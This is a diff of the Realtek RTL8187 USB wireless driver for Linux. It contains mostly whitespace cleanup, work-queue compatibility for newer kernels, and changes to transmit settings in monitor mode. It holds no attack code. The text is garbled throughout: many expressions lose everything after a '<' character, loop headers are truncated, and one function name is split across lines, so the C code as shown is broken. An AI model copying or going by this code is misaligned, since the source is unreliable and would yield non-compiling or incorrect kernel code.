r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 1, HZ / 2); @@ -185,10 +189,10 @@ void write_nic_word(struct net_device *dev, int indx, u16 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 2, HZ / 2); @@ -197,23 +201,23 @@ void write_nic_dword(struct net_device *dev, int indx, u32 data) { - + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_sndctrlpipe(udev, 0), RTL8187_REQ_SET_REGS, RTL8187_REQT_WRITE, indx|0xff00, 0, &data, 4, HZ / 2); } - - - + + + u8 read_nic_byte(struct net_device *dev, int indx) { u8 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 1, HZ / 2); @@ -225,20 +229,20 @@ u8 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xfe00, 0, &data, 1, HZ / 2); return data; } - + u16 read_nic_word(struct net_device *dev, int indx) { u16 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 2, HZ / 2); @@ -251,14 +255,14 @@ u32 data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); struct usb_device *udev = priv->udev; - + usb_control_msg(udev, usb_rcvctrlpipe(udev, 0), RTL8187_REQ_GET_REGS, RTL8187_REQT_READ, indx|0xff00, 0, &data, 4, HZ / 2); return data; } -/* this might still called in what was the PHY rtl8185/rtl8187 common code +/* this might still called in what was the PHY rtl8185/rtl8187 common code * plans are to possibilty turn it again in one common code... */ inline void force_pci_posting(struct net_device *dev) @@ -271,8 +275,17 @@ //void set_nic_txring(struct net_device *dev); static struct net_device_stats *rtl8180_stats(struct net_device *dev); void rtl8180_commit(struct net_device *dev); -void rtl8180_restart(struct net_device *dev); +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_rq_tx_ack(struct work_struct *work); +#else void rtl8180_rq_tx_ack(struct net_device *dev); +#endif + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_restart(struct work_struct *work); +#else +void rtl8180_restart(struct net_device *dev); +#endif /**************************************************************************** -----------------------------PROCFS STUFF------------------------- @@ -286,12 +299,12 @@ { struct net_device *dev = data; // struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; int i,n; - + int max=0xff; - + /* This dump the current register page */ for(n=0;n<=max;) { @@ -308,7 +321,7 @@ len += snprintf(page + len, count - len,"\n"); - + *eof = 1; return len; @@ -321,15 +334,15 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; - + len += snprintf(page + len, count - len, "NIC int: %lu\n" "Total int: %lu\n", priv->stats.ints, priv->stats.shints); - + *eof = 1; return len; } @@ -341,12 +354,12 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; unsigned long totalOK; totalOK=priv->stats.txnpokint+priv->stats.txhpokint+priv->stats.txlpokint; - + len += snprintf(page + len, count - len, /* "TX normal priority ok int: %lu\n" "TX normal priority error int: %lu\n" @@ -363,7 +376,7 @@ "TX HW queue: %d\n" "TX lp dropped: %lu\n" "TX np dropped: %lu\n" - "TX total data packets %lu\n", + "TX total data packets %lu\n", // "TX beacon aborted: %lu\n", priv->stats.txnpokint, priv->stats.txnperr, @@ -391,13 +404,13 @@ priv->stats.txerr, priv->stats.txretry, priv->stats.txbeaconok, - priv->stats.txbeaconerr + priv->stats.txbeaconerr ); - + *eof = 1; return len; -} +} @@ -407,9 +420,9 @@ { struct net_device *dev = data; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + int len = 0; - + len += snprintf(page + len, count - len, /*"RX packets: %lu\n" "RX urb status error: %lu\n" @@ -431,21 +444,22 @@ priv->stats.rxicverr ); - + *eof = 1; return len; -} - +} +#if WIRELESS_EXT < 17 static struct iw_statistics *r8180_get_wireless_stats(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); return &priv->wstats; } +#endif void rtl8180_proc_module_init(void) -{ +{ DMESG("Initializing proc filesystem"); rtl8180_proc=create_proc_entry(RTL8187_MODULE_NAME, S_IFDIR, proc_net); } @@ -477,8 +491,8 @@ { struct proc_dir_entry *e; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - priv->dir_dev = create_proc_entry(dev->name, - S_IFDIR | S_IRUGO | S_IXUGO, + priv->dir_dev = create_proc_entry(dev->name, + S_IFDIR | S_IRUGO | S_IXUGO, rtl8180_proc); if (!priv->dir_dev) { DMESGE("Unable to initialize /proc/net/rtl8187/%s\n", @@ -488,7 +502,7 @@ #if 0 e = create_proc_read_entry("stats-hw", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_hw, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-hw\n", @@ -497,17 +511,17 @@ #endif e = create_proc_read_entry("stats-rx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_rx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-rx\n", dev->name); } - - + + e = create_proc_read_entry("stats-tx", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_tx, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-tx\n", @@ -516,27 +530,27 @@ #if 0 e = create_proc_read_entry("stats-ieee", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ieee, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ieee\n", dev->name); } - - + + e = create_proc_read_entry("stats-ap", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_stats_ap, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/stats-ap\n", dev->name); } #endif - + e = create_proc_read_entry("registers", S_IFREG | S_IRUGO, priv->dir_dev, proc_get_registers, dev); - + if (!e) { DMESGE("Unable to initialize " "/proc/net/rtl8187/%s/registers\n", @@ -552,14 +566,14 @@ { int i; u8 *buf =(u8*)buffer; - + printk("ASCII BUFFER DUMP (len: %x):\n",len); - + for(i=0;itx_np_pending : &priv->tx_lp_pending); - + return (used < MAX_TX_URB); } @@ -600,9 +614,9 @@ int i; int n; int max=0xff; - - DMESG("Dumping NIC register map"); - + + DMESG("Dumping NIC register map"); + for(n=0;n<=max;) { printk( "\nD: %2x> ", n); @@ -619,11 +633,11 @@ void rtl8180_irq_enable(struct net_device *dev) { - struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); + struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); //priv->irq_enabled = 1; /* - write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ - INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ + write_nic_word(dev,INTA_MASK,INTA_RXOK | INTA_RXDESCERR | INTA_RXOVERFLOW |\ + INTA_TXOVERFLOW | INTA_HIPRIORITYDESCERR | INTA_HIPRIORITYDESCOK |\ INTA_NORMPRIORITYDESCERR | INTA_NORMPRIORITYDESCOK |\ INTA_LOWPRIORITYDESCERR | INTA_LOWPRIORITYDESCOK | INTA_TIMEOUT); */ @@ -633,7 +647,7 @@ void rtl8180_irq_disable(struct net_device *dev) { -// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); +// struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); write_nic_word(dev,INTA_MASK,0); force_pci_posting(dev); @@ -657,27 +671,27 @@ { struct r8180_priv *priv = ieee80211_priv(dev); u8 msr; - + msr = read_nic_byte(dev, MSR); msr &= ~ MSR_LINK_MASK; - + /* do not change in link_state != WLAN_LINK_ASSOCIATED. - * msr must be updated if the state is ASSOCIATING. + * msr must be updated if the state is ASSOCIATING. * this is intentional and make sense for ad-hoc and * master (see the create BSS/IBSS func) */ - if (priv->ieee80211->state == IEEE80211_LINKED){ - + if (priv->ieee80211->state == IEEE80211_LINKED){ + if (priv->ieee80211->iw_mode == IW_MODE_INFRA) msr |= (MSR_LINK_MANAGED<ieee80211->iw_mode == IW_MODE_ADHOC) msr |= (MSR_LINK_ADHOC<ieee80211->iw_mode == IW_MODE_MASTER) msr |= (MSR_LINK_MASTER<chan=ch; #if 0 - if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || + if(priv->ieee80211->iw_mode == IW_MODE_ADHOC || priv->ieee80211->iw_mode == IW_MODE_MASTER){ - - priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; + + priv->ieee80211->link_state = WLAN_LINK_ASSOCIATED; priv->ieee80211->master_chan = ch; - rtl8180_update_beacon_ch(dev); + rtl8180_update_beacon_ch(dev); } #endif - + /* this hack should avoid frame TX during channel setting*/ tx = read_nic_dword(dev,TX_CONF); tx &= ~TX_LOOPBACK_MASK; -#ifndef LOOP_TEST +#ifndef LOOP_TEST write_nic_dword(dev,TX_CONF, tx |( TX_LOOPBACK_MAC<rf_set_chan(dev,priv->chan); @@ -715,25 +729,25 @@ { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); int err; - + // u8 *rx; - + //DMESG("starting RX"); /*rx = kmalloc(RX_URB_SIZE*sizeof(u8),GFP_ATOMIC); - if(!rx){ + if(!rx){ DMESGE("unable to allocate RX buffer"); return; }*/ - + usb_fill_bulk_urb(rx_urb,priv->udev, usb_rcvbulkpipe(priv->udev,0x81), rx_urb->transfer_buffer, - RX_URB_SIZE,rtl8187_rx_isr,dev); - err = usb_submit_urb(rx_urb, GFP_ATOMIC); + RX_URB_SIZE,rtl8187_rx_isr, dev); + err = usb_submit_urb(rx_urb, GFP_ATOMIC); if(err && err != -EPERM){ DMESGE("cannot submit RX command. URB_STATUS %x",rx_urb->status); - + } - + } @@ -741,30 +755,30 @@ { int i; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + if(!priv->rx_urb) DMESGE("Cannot intiate RX urb mechanism"); - for(i=0;irx_urb[i]); priv->tx_urb_index = 0; - + } void rtl8187_set_rxconf(struct net_device *dev) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); u32 rxconf; - + rxconf=read_nic_dword(dev,RX_CONF); rxconf = rxconf &~ MAC_FILTER_MASK; rxconf = rxconf | (1<flags & IFF_PROMISC) DMESG ("NIC in promisc mode"); - + if(priv->ieee80211->iw_mode == IW_MODE_MONITOR || \ dev->flags & IFF_PROMISC){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MASTER){ rxconf = rxconf | (1<ieee80211->iw_mode == IW_MODE_MONITOR){ rxconf = rxconf | (1<crcmon == 1 && priv->ieee80211->iw_mode == IW_MODE_MONITOR) rxconf = rxconf | (1<card_8185){ - + txconf = txconf &~ (1<ieee80211->hw_seq) + + if(priv->ieee80211->hw_seq) txconf= txconf &~ (1<retry_data<retry_rts<ieee80211->iw_mode != IW_MODE_MONITOR) + { + txconf = txconf | (priv->retry_data<retry_rts<dma_poll_mask &=~(1<dma_poll_mask); + write_nic_byte(dev,TX_DMA_POLLING,priv->dma_poll_mask); rtl8180_set_mode(dev,EPROM_CMD_NORMAL); } void rtl8180_ -_disable(struct net_device *dev) +_disable(struct net_device *dev) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); priv->dma_poll_mask |= (1<rx_urb[i]); } /*while (read_nic_byte(dev,CMD) & (1<rx_skb_complete) // dev_kfree_skb_any(priv->rx_skb); } @@ -971,13 +988,13 @@ int i; u32 *tmp; struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - + priv->txbeaconring = (u32*)pci_alloc_consistent(priv->pdev, - sizeof(u32)*8*count, + sizeof(u32)*8*count, &priv->txbeaconringdma); if (!priv->txbeaconring) return -1; for (tmp=priv->txbeaconring,i=0;itxbeaconringdma+((i+1)*8*4); else *(tmp+4) = (u32)priv->txbeaconringdma; - + tmp=tmp+8; } #endif @@ -996,15 +1013,15 @@ void rtl8180_reset(struct net_device *dev) { - + u8 cr; - + /* make sure the analog power is on before * reset, otherwise reset may fail */ rtl8180_set_anaparam(dev, RTL8225_ANAPARAM_ON); rtl8185_set_anaparam2(dev, RTL8225_ANAPARAM2_ON); - + rtl8180_irq_disable(dev); mdelay(200); @@ -1012,19 +1029,19 @@ write_nic_byte_E(dev,0x18,0x11); write_nic_byte_E(dev,0x18,0x00); mdelay(200); - + cr=read_nic_byte(dev,CMD); cr = cr & 2; cr = cr | (1<11) return 0; - return rtl_rate[rate]; + return rtl_rate[rate]; } @@ -1089,49 +1106,49 @@ u16 N_DBPSOfRate(u16 DataRate) { u16 N_DBPS = 24; - + switch(DataRate) { case 60: N_DBPS = 24; break; - + case 90: N_DBPS = 36; break; - + case 120: N_DBPS = 48; break; - + case 180: N_DBPS = 72; break; - + case 240: N_DBPS = 96; break; - + case 360: N_DBPS = 144; break; - + case 480: N_DBPS = 192; break; - + case 540: N_DBPS = 216; break; - + default: break; } - + return N_DBPS; } -u16 ComputeTxTime( +u16 ComputeTxTime( u16 FrameLength, u16 DataRate, u8 bManagementFrame, @@ -1146,7 +1163,7 @@ { if( bManagementFrame || !bShortPreamble || DataRate == 10 ) { // long preamble - FrameTime = (u16)(144+48+(FrameLength*8/(DataRate/10))); + FrameTime = (u16)(144+48+(FrameLength*8/(DataRate/10))); } else { // Short preamble @@ -1156,14 +1173,14 @@ FrameTime ++; } else { //802.11g DSSS-OFDM PLCP length field calculation. N_DBPS = N_DBPSOfRate(DataRate); - Ceiling = (16 + 8*FrameLength + 6) / N_DBPS + Ceiling = (16 + 8*FrameLength + 6) / N_DBPS + (((16 + 8*FrameLength + 6) % N_DBPS) ? 1 : 0); FrameTime = (u16)(16 + 4 + 4*Ceiling + 6); } return FrameTime; } - + #if 0 void rtl8187_rx_isr(struct urb *rx_urb, struct pt_regs *regs) { @@ -1172,7 +1189,7 @@ priv->rxurb_task = rx_urb; // DMESGW("David: Rx tasklet start!"); - tasklet_schedule(&priv->irq_rx_tasklet); + tasklet_schedule(&priv->irq_rx_tasklet); // DMESGW("=David: Rx tasklet finish!"); } #endif @@ -1223,13 +1240,14 @@ void rtl8180_hard_data_xmit(struct sk_buff *skb, struct net_device *dev, int rate) { struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); - - short morefrag = 0; + + short morefrag = 0; unsigned long flags; struct ieee80211_hdr *h = (struct ieee80211_hdr *) skb->data; - if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) - morefrag = 1; + if(priv->ieee80211->iw_mode != IW_MODE_MONITOR) + if (le16_to_cpu(h->frame_ctl) & IEEE80211_FCTL_MOREFRAGS) + morefrag = 1; // DMESG("%x %x", h->frame_ctl, h->seq_ctl); /* * This function doesn't require lock because we make @@ -1238,25 +1256,24 @@ * the ieee stack, or from the try_wake_queue (again trought * the ieee stack. */ - spin_lock_irqsave(&priv->tx_lock,flags); - + spin_lock_irqsave(&priv->tx_lock,flags); + //DMESG("TX"); if (!check_nic_enought_desc(dev, LOW_PRIORITY)){ DMESG("Error: no TX slot "); ieee80211_stop_queue(priv->ieee80211); } - - + rtl8180_tx(dev, skb->data, skb->len, LOW_PRIORITY, morefrag, ieeerate2rtlrate(rate)); priv->stats.txdatapkt++; - + if (!check_nic_enought_desc(dev, LOW_PRIORITY)) ieee80211_stop_queue(priv->ieee80211); - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + } #if 0 /* This is a rough attempt to TX a frame @@ -1269,9 +1286,9 @@ struct r8180_priv *priv = (struct r8180_priv *)ieee80211_priv(dev); int ret; unsigned long flags; - + spin_lock_irqsave(&priv->tx_lock,flags); - + ret = rtl8180_tx(dev, (u32*)skb->data, skb->len, NORM_PRIORITY, 0,DEFAULT_BASICRATE); /* int i; @@ -1281,9 +1298,9 @@ */ priv->ieee80211->stats.tx_bytes+=skb->len; priv->ieee80211->stats.tx_packets++; - - spin_unlock_irqrestore(&priv->tx_lock,flags); - + + spin_unlock_irqrestore(&priv->tx_lock,flags); + dev_kfree_skb_any(skb); return ret; } @@ -1296,7 +1313,7 @@ u16 duration; u16 drift; *ext=0; - + switch(rate){ case 0://1mbps *ext=0; @@ -1305,7 +1322,7 @@ if(drift ==0 ) break; duration++; break; - + case 1://2mbps *ext=0; duration = ((len+4)<<4) /0x4; @@ -1313,30 +1330,30 @@ if(drift ==0 ) break; duration++; break; - + case 2: //5.5mbps *ext=0; duration = ((len+4)<<4) /0xb; drift = ((len+4)<<4) % 0xb; - if(drift ==0 ) + if(drift ==0 ) break; duration++; break; - + default: - case 3://11mbps + case 3://11mbps *ext=0; duration = ((len+4)<<4) /0x16; drift = ((len+4)<<4) % 0x16; - if(drift ==0 ) + if(drift ==0 ) break; duration++; - if(drift > 6) + if(drift > 6) break; *ext=1; break; } - + return duration; } #endif @@ -1369,10 +1386,10 @@ if ((msrm == (MSR_LINK_ADHOC<ieee80211->current_network; - - + + write_nic_dword(dev,BSSID,((u32*)net->bssid)[0]); write_nic_word(dev,BSSID+4,((u16*)net->bssid)[2]); //for(i=0;ibssid[i]); rtl8180_update_msr(dev); - + // rtl8180_set_mode(dev,EPROM_CMD_CONFIG); write_nic_word(dev, AtimWnd, 2); - write_nic_word(dev, AtimtrItv, 100); + write_nic_word(dev, AtimtrItv, 100); write_nic_word(dev, BEACON_INTERVAL, net->beacon_interval); write_nic_word(dev, BcnIntTime, 100); - + } @@ -1406,18 +1423,18 @@ struct r8180_priv *priv = ieee80211_priv(dev); struct sk_buff *skb; int i = 0; - + rtl8187_net_update(dev); - + skb = ieee80211_get_beacon(priv->ieee80211); - - - if(!skb){ + + + if(!skb){ DMESG("not enought memory for allocating beacon"); return; } - -#if 0 + +#if 0 while(MAX_TX_URB!=atomic_read(&priv->tx_np_pending)){ msleep_interruptible_rtl(HZ/2); if(i++ > 20){ @@ -1427,7 +1444,7 @@ } #endif write_nic_byte(dev, BQREQ, read_nic_byte(dev, BQREQ) | (1<<7)); - + i=0; //while(!read_nic_byte(dev,BQREQ & (1<<7))) while( (read_nic_byte(dev, BQREQ) & (1<<7)) == 0 ) @@ -1438,7 +1455,7 @@ return ; } } - + rtl8180_tx(dev, skb->data, skb->len, NORM_PRIORITY, 0, priv->ieee80211->basic_rate); @@ -1461,15 +1478,15 @@ } -/* This function do the real dirty work: it sends a TX command - * descriptor plus data URB +/* This function do the real dirty work: it sends a TX command + * descriptor plus data URB */ - + short rtl8180_tx(struct net_device *dev, u8* txbuf, int len, priority_t priority, short morefrag, short rate) { //u32 *tx; - u8 *tx; + u8 *tx; u8 *pdata; u8 seg = ((u32)txbuf % 4); u32 *pdata32; @@ -1480,7 +1497,7 @@ int pend; int status; struct urb *tx_urb; - int urb_len; + int urb_len; u16 AckCtsTime; u16 FrameTime; u16 duration; @@ -1498,20 +1515,20 @@ priv->stats.txlpdrop++; return -1; } - -#if 0 + +#if 0 //tx = kmalloc((len + 4*3), GFP_ATOMIC); urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx = kmalloc(urb_len, GFP_ATOMIC); if(!tx) return -ENOMEM; - //printk(KERN_WARNING "urb_len = %d\n", urb_len); + //printk(KERN_WARNING "urb_len = %d\n", urb_len); tx_urb = usb_alloc_urb(0,GFP_ATOMIC); - + if(!tx_urb){ - + kfree(tx); return -ENOMEM; } @@ -1519,7 +1536,7 @@ //urb_len = TX_URB_SIZE; urb_len = len + 4*3; if((0 == urb_len%64)||(0 == urb_len%512)) { - urb_len += 1; + urb_len += 1; } tx_urb = priv->tx_context[priv->tx_urb_index].tx_urb; @@ -1527,7 +1544,7 @@ pdata = tx + 12; priv->tx_urb_index = (priv->tx_urb_index + 1) % MAX_TX_URB; #endif -#if 0 +#if 0 memcpy(tx+3,txbuf,len); tx[0] = 0; tx[0] |= len & 0xfff; @@ -1535,7 +1552,7 @@ // printk(KERN_INFO "preamble mode %d,rate %d!\n",priv->plcp_preamble_mode,rate); if (priv->ieee80211->current_network.capability&WLAN_CAPABILITY_SHORT_PREAMBLE) if (priv->plcp_preamble_mode==1 && rate!=0) { // short mode now, not long! - tx[0] |= (1<<16); + tx[0] |= (1<<16); // printk(KERN_INFO "use short preamble!\n"); } // enable short preamble mode. @@ -1548,11 +1565,11 @@ AckCtsTime = ComputeTxTime(14, 10,0, 0); // AckCTSLng = 14 use 1M bps send FrameTime = ComputeTxTime(len + 4, rtl8180_rate2rate(rate), 0, tx[0]&(1<<16)); // RTS/CTS time is calculate as follow - duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; + duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; tx[1] |= duration; //Need to edit here! ----hikaru printk(KERN_INFO "duration %d!\n",duration); } - else + else tx[1]=0; //if(len > priv->rts_threshold){ // tx[0] |= (1<<23); //ENABLE RTS @@ -1562,18 +1579,18 @@ tx[0] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 19); /* RTS RATE - should be basic rate */ tx[0] |= (rate << 24); // tx[1] = 0; - + // duration = rtl8180_len2duration(len, -// rate,&ext); +// rate,&ext); // tx[1] |= (duration & 0x7fff) <<16; // if(ext) tx[1] |= (1<<31); - + // tx[2] = 0x303020; tx[2] = 3; // CW min tx[2] |= (7<<4); //CW max tx[2] |= (11<<8);//(priv->retry_data<<8); //retry lim - + // printk("%x\n%x\n",tx[0],tx[1]); #ifdef DUMP_TX @@ -1601,12 +1618,12 @@ } #endif //memcpy(pdata, txbuf, len); - + //tx[0] = 0; //tx[1] = 0; tx[2] = 0; tx[3] = 0; - + //tx[0] |= len & 0xfff; tx[0] = len & 0xff; tx[1] = (len & 0x0f00) >> 8; @@ -1614,25 +1631,25 @@ if (priv->ieee80211->current_network.capability&WLAN_CAPABILITY_SHORT_PREAMBLE) if (priv->plcp_preamble_mode==1 && rate!=0) { // short mode now, not long! - tx[2] |= 1; + tx[2] |= 1; - } + } if ( (len>priv->rts) && priv->rts && priority==LOW_PRIORITY){ tx[2] |= (1<<7); //enalbe RTS function AckCtsTime = ComputeTxTime(14, 10,0, 0); // AckCTSLng = 14 use 1M bps send FrameTime = ComputeTxTime(len + 4, rtl8180_rate2rate(rate), 0, tx[2]&1); // RTS/CTS time is calculate as follow - duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; + duration = FrameTime + 3*10 + 2*AckCtsTime; //10us is the SifsTime; tx[4] |= duration & 0xff; //Need to edit here! ----hikaru - tx[5] |= (duration & 0xff00) >> 8; + tx[5] |= (duration & 0xff00) >> 8; printk(KERN_INFO "duration %d!\n",duration); } else { tx[4] = 0; tx[5] = 0; } - + if(morefrag) tx[2] |= (1<<1); tx[2] |= (ieeerate2rtlrate(priv->ieee80211->basic_rate) << 3); /* RTS RATE - should be basic rate */ tx[3] |= rate; @@ -1640,7 +1657,7 @@ tx[8] = 3; // CW min tx[8] |= (7<<4); //CW max tx[9] |= 11;//(priv->retry_data<<8); //retry lim - + /* FIXME check what EP is for low/norm PRI */ usb_fill_bulk_urb(tx_urb,priv->udev, @@ -1662,7 +1679,7 @@ } } - + //void rtl8180_irq_rx_tasklet(struct r8180_priv * priv); @@ -1671,70 +1688,70 @@ { struct r8180_priv *priv = ieee80211_priv(dev); int i,j; - + priv->rx_urb = (struct urb**) kmalloc (sizeof(struct urb*) * MAX_RX_URB, GFP_KERNEL); - + for(i=0;irx_urb[i] = usb_alloc_urb(0,GFP_KERNEL); - if(!priv->rx_urb[i]) + if(!priv->rx_urb[i]) goto destroy; - + priv->rx_urb[i]->transfer_buffer = kmalloc(RX_URB_SIZE, GFP_KERNEL); - if(!priv->rx_urb[i]->transfer_buffer) + if(!priv->rx_urb[i]->transfer_buffer) goto destroy1; - + priv->rx_urb[i]->transfer_buffer_length = RX_URB_SIZE; } for(j=0; j < MAX_TX_URB; j++){ struct tx_urb_context *ptrcontext = &priv->tx_context[j]; u8 seg_size; - + ptrcontext->tx_urb = usb_alloc_urb(0,GFP_KERNEL); - if(!ptrcontext->tx_urb) + if(!ptrcontext->tx_urb) goto destroy_tx; - + ptrcontext->transfer_buffer = kmalloc(TX_URB_SIZE, GFP_KERNEL); - if(!ptrcontext->transfer_buffer) + if(!ptrcontext->transfer_buffer) goto destroy1_tx; // set tx_urb 4 byte align seg_size = (u32)ptrcontext->transfer_buffer % 4; ptrcontext->ptalign_buf = ptrcontext->transfer_buffer + ((seg_size > 0)? (4 - seg_size):0); } - + return 0; destroy1_tx: usb_free_urb(priv->tx_context[j].tx_urb); - + destroy_tx: while (--j >= 0){ kfree(priv->tx_context[j].transfer_buffer); usb_free_urb(priv->tx_context[j].tx_urb); } - + destroy1: usb_free_urb(priv->rx_urb[i]); - + destroy: while (--i >= 0){ kfree(priv->rx_urb[i]->transfer_buffer); usb_free_urb(priv->rx_urb[i]); } - + kfree(priv->rx_urb); - + priv->rx_urb = NULL; DMESGE("Endpoint Alloc Failure"); return -ENOMEM; - + } void rtl8187_usb_deleteendpoints(struct net_device *dev) { struct r8180_priv *priv = ieee80211_priv(dev); int i,j; - + if(priv->rx_urb){ for(i=0;irx_urb[i]); @@ -1743,12 +1760,12 @@ } kfree(priv->rx_urb); priv->rx_urb = NULL; - + } //added by david. 2007.1.30 for(j=0; j < MAX_TX_URB; j++){ struct tx_urb_context *ptrcontext = &priv->tx_context[j]; - + usb_kill_urb(ptrcontext->tx_urb); kfree(ptrcontext->transfer_buffer); ptrcontext->transfer_buffer = NULL; @@ -1763,16 +1780,16 @@ int i; u16 word; int basic_rate,min_rr_rate,max_rr_rate; - + // struct r8180_priv *priv = ieee80211_priv(dev); - - //if (ieee80211_is_54g(priv->ieee80211->current_network) && + + //if (ieee80211_is_54g(priv->ieee80211->current_network) && // priv->ieee80211->state == IEEE80211_LINKED){ basic_rate = ieeerate2rtlrate(240); min_rr_rate = ieeerate2rtlrate(60); max_rr_rate = ieeerate2rtlrate(240); - -// + +// // }else{ // basic_rate = ieeerate2rtlrate(20); // min_rr_rate = ieeerate2rtlrate(10); @@ -1784,7 +1801,7 @@ word = read_nic_word(dev, BRSR); word &= ~BRSR_MBR_8185; - + for(i=0;i<=basic_rate;i++) word |= (1<beacon_interval); rtl8187_net_update(dev); @@ -1813,10 +1830,15 @@ #define HW_WAKE_DELAY 5 +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_hw_wakeup(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, hw_wakeup_wq); + struct net_device *dev = ieee->dev; +#else void rtl8180_hw_wakeup(struct net_device *dev) { - //unsigned long flags; - +#endif struct r8180_priv *priv = ieee80211_priv(dev); printk(KERN_INFO "enter rtl8180_hw_wakeup!\n"); if (!priv->ps_sleep_finish) { @@ -1829,7 +1851,7 @@ // spin_lock_irqsave(&priv->ps_lock,flags); //DMESG("Waken up!"); // write_nic_byte(dev,CONFIG4,read_nic_byte(dev,CONFIG4)&~CONFIG4_PWRMGT); - + if(priv->rf_wakeup) priv->rf_wakeup(dev); priv->ps_sleep_finish=0; @@ -1853,19 +1875,32 @@ schedule_work(&priv->rtl8180_hw_wakeup_wq); printk(KERN_INFO "timer wakup schedule!\n"); } -void rtl8180_rq_tx_ack(struct net_device *dev){ - + +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_rq_tx_ack(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, ps_request_tx_ack_wq); + struct net_device *dev = ieee->dev; +#else +void rtl8180_rq_tx_ack(struct net_device *dev) +{ +#endif struct r8180_priv *priv = ieee80211_priv(dev); // write_nic_byte(dev,CONFIG4,read_nic_byte(dev,CONFIG4)|CONFIG4_PWRMGT); priv->ack_tx_to_ieee = 1; // printk(KERN_INFO "rtl8180_rq_tx_ack!\n"); } +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void rtl8180_hw_sleep(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, hw_sleep_wq); + struct net_device *dev = ieee->dev; +#else void rtl8180_hw_sleep(struct net_device *dev) { - +#endif struct r8180_priv *priv = ieee80211_priv(dev); - u32 rb,tl; //unsigned long flags; u32 timeout; @@ -1886,27 +1921,27 @@ rb = read_nic_dword(dev, TSFTR); //// printk(KERN_INFO "enter rtl8180_hw_sleep!\n"); // spin_lock_irqsave(&priv->ps_lock,flags); - + /* Writing HW register with 0 equals to disable * the timer, that is not really what we want */ tl = priv->ieee80211->ps_tl; // printk(KERN_INFO "tl is %lu!\n",tl); tl -= HW_WAKE_DELAY*1000; - + if(tl == 0) tl 